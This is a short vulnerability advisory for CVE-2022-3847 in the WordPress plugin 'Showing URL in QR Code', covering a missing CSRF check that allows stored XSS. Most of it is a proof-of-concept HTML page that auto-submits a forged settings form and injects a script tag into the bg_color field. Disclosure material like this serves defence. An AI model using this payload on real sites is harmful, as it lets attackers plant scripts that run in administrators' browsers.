Showing URL in QR Code <= 0.0.1 – Stored XSS via CSRF | CVE 2022-3847

Description

The plugin does not have CSRF check when updating its settings, and is missing sanitisation as well as escaping, which could allow attackers to make logged in admin or editor add Stored XSS payloads via a CSRF attack

Proof of Concept

Make a logged in editor or admin open a page with the below payload

<html><form enctype="multipart/form-data" method="POST" action="https://<WordPress-Site>/wp-admin/admin.php?page=my-unique-qr-code" id="csrfpoc"><table><tr><td>checkbox-nested-2</td><td><input type="text" value="on" name="checkbox-nested-2"></td></tr>
<tr><td>bg_color</td><td><input type="text" value=""></div></div><script>alert(/XSS/)</script>" name="bg_color" size="40"></td></tr>
<tr><td>colorDark</td><td><input type="text" value="#000000" name="colorDark"></td></tr>
<tr><td>colorLight</td><td><input type="text" value="#ffffff" name="colorLight"></td></tr>
<tr><td>width</td><td><input type="text" value="200" name="width"></td></tr>
<tr><td>height</td><td><input type="text" value="200" name="height"></td></tr>
<tr><td>urlinqrcoed-submit</td><td><input type="text" value="Save" name="urlinqrcoed-submit"></td></tr>
</table></form><script>csrfpoc.submit()</script></html>